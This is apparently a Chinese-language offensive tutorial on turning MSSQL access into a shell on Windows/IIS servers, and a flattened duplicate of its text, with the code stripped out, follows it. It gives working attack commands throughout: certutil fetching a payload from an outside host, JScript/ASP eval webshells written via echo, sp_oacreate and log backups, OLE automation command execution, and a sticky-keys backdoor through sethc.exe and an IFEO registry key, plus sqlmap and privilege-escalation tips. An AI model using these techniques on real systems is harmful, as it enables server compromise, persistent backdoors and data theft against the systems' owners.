MSSQL GetShell方法
字数 1158 2025-08-18 17:33:36

MSSQL GetShell方法详解

0x01 环境准备

  • Windows 2008 + MSSQL 2008 + IIS7
  • Windows 2003 + MSSQL 2005 + IIS6
  • 权限差异:
    • MSSQL 2005及以下:SYSTEM权限
    • MSSQL 2008及以上:通常为NETWORK SERVICE权限(安装时可能设置为Administrator)

0x02 通过命令下载文件获取Shell

使用certutil下载文件

  1. 通过sqlmap获取os-shell执行权限
  2. 使用certutil下载文件:
    certutil.exe -urlcache -split -f http://[IP]:[PORT]/artifact.exe
    
  3. 若拒绝访问,可在可写目录创建文件夹后下载

注意事项

  • 执行可能超时,sqlmap会重复执行命令
  • 若为NETWORK SERVICE权限,可使用JuicyPotato提权

0x03 绝对路径写Webshell

查找绝对路径方法

1. 报错信息

  • 需要管理员配置过web.config:
    <configuration>
        <system.web>
            <customErrors mode="Off"/>
        </system.web>
    </configuration>
    

2. 读取配置文件

  • IIS6: C:\Windows\system32\inetsrv\metabase.xml
  • IIS7: C:\Windows\System32\inetsrv\config\applicationHost.config
  • 使用命令:type [配置文件路径]

3. cmd命令搜索文件

dir/s/b c:\index.aspx

参数说明:

  • /s - 列出所有子目录
  • /b - 只显示路径和文件名

4. 找旁站路径

  • 通过读取httpd.conf等配置文件查找旁站路径

5. 使用xp_dirtree

xp_dirtree 'c:\', 1, 1

参数:

  1. 要列的目录
  2. 是否列出子目录(1=是)
  3. 是否列出文件(1=是)

使用方法:

create table dir(subdirectory varchar(255),depth int, filee int);
insert into dir(subdirectory,depth,filee) exec xp_dirtree 'c:\',1,1

6. 使用xp_subdirs

xp_subdirs 'c:\'

(只能列出目录,不能列出文件)

7. 修改404页面

适用于2005或高权限2008:

exec sp_configure 'show advanced options', 1;RECONFIGURE
exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\inetsrv\config\applicationHost.config','C:\inetpub\custerr\zh-CN\404.htm';

8. 爆破路径

  • 默认路径:C:\inetpub\wwwroot\

写入Webshell

echo ^<%@ Page Language="Jscript"%^>^<%Response.Write(eval(Request.Item["z"],"unsafe"));%^> > C:\inetpub\wwwroot\shell.aspx

(注意<>需要转义)

0x04 sp_oacreate写入Webshell

启用sp_oacreate

exec sp_configure 'show advanced options', 1;RECONFIGURE
exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE

执行命令示例

declare @o int;
exec sp_oacreate 'wscript.shell',@o out;
exec sp_oamethod @o,'run',null,'cmd /c mkdir c:\temp';
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\temp\user.txt';
create table cmd_output (output text);
BULK INSERT cmd_output FROM 'c:\temp\user.txt' WITH (FIELDTERMINATOR='n',ROWTERMINATOR = 'nn')
select * from cmd_output

写入并执行VBS脚本

declare @f int,@g int
exec sp_oacreate 'Scripting.FileSystemObject',@f output
EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\inetpub\wwwroot\cmd.vbs',1
EXEC sp_oamethod @f,'WriteLine',null,'Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "cmd", "cmd /c whoami>c:\whoami.txt", "", "runas",1'
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o,'ShellExecute',null,'c:\inetpub\wwwroot\cmd.vbs', '', 'c:\', '', 0

直接写入Webshell

declare @f int,@g int
exec sp_oacreate 'Scripting.FileSystemObject',@f output
EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\inetpub\wwwroot\shell.aspx',1
EXEC sp_oamethod @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a+b));%>'

0x05 备份GetShell

LOG备份方法(适用于2005和2008)

alter database testdb set RECOVERY FULL 
backup database testdb to disk = 'c:\bak.bak'
create table cmd (a image) 
backup log testdb to disk = 'c:\aaa.bak' with init 
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 
backup log testdb to disk = 'C:\inetpub\wwwroot\shell.asp'

0x06 劫持粘滞键(适用于2005+开放3389)

使用sp_oacreate复制文件

exec sp_configure 'show advanced options', 1;RECONFIGURE
exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\cmd.exe','c:\windows\system32\sethc.exe';

修改注册表

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.EXE','Debugger','REG_SZ','c:\windows\system32\cmd.exe';

0x07 注意事项

  1. 杀毒软件(如360)会拦截大部分执行命令的方法
  2. MSSQL解释器特性:正确语句后可直接接其他语句执行,不一定需要分号分隔
  3. 使用sqlmap时:
    • Linux环境下可Ctrl+c停止目录遍历并保持os-shell
    • Windows环境下直接退出可能导致后续os-shell不可用
    • 建议使用q命令正常退出os-shell
    • 目录遍历时设置较长超时:--timeout=100
MSSQL GetShell方法详解 0x01 环境准备 Windows 2008 + MSSQL 2008 + IIS7 Windows 2003 + MSSQL 2005 + IIS6 权限差异: MSSQL 2005及以下:SYSTEM权限 MSSQL 2008及以上:通常为NETWORK SERVICE权限(安装时可能设置为Administrator) 0x02 通过命令下载文件获取Shell 使用certutil下载文件 通过sqlmap获取os-shell执行权限 使用certutil下载文件: 若拒绝访问,可在可写目录创建文件夹后下载 注意事项 执行可能超时,sqlmap会重复执行命令 若为NETWORK SERVICE权限,可使用JuicyPotato提权 0x03 绝对路径写Webshell 查找绝对路径方法 1. 报错信息 需要管理员配置过web.config: 2. 读取配置文件 IIS6: C:\Windows\system32\inetsrv\metabase.xml IIS7: C:\Windows\System32\inetsrv\config\applicationHost.config 使用命令: type [配置文件路径] 3. cmd命令搜索文件 参数说明: /s - 列出所有子目录 /b - 只显示路径和文件名 4. 找旁站路径 通过读取httpd.conf等配置文件查找旁站路径 5. 使用xp_ dirtree 参数: 要列的目录 是否列出子目录(1=是) 是否列出文件(1=是) 使用方法: 6. 使用xp_ subdirs (只能列出目录,不能列出文件) 7. 修改404页面 适用于2005或高权限2008: 8. 爆破路径 默认路径: C:\inetpub\wwwroot\ 写入Webshell (注意 <>需要转义) 0x04 sp_ oacreate写入Webshell 启用sp_ oacreate 执行命令示例 写入并执行VBS脚本 直接写入Webshell 0x05 备份GetShell LOG备份方法(适用于2005和2008) 0x06 劫持粘滞键(适用于2005+开放3389) 使用sp_ oacreate复制文件 修改注册表 0x07 注意事项 杀毒软件(如360)会拦截大部分执行命令的方法 MSSQL解释器特性:正确语句后可直接接其他语句执行,不一定需要分号分隔 使用sqlmap时: Linux环境下可Ctrl+c停止目录遍历并保持os-shell Windows环境下直接退出可能导致后续os-shell不可用 建议使用q命令正常退出os-shell 目录遍历时设置较长超时: --timeout=100